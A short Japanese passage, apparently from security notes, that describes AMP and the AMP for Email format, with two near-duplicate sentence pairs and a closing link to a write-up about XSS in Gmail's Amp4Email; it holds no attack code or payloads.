AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで機能を補完したHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内のコンテンツと直接対話できるようにします。
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。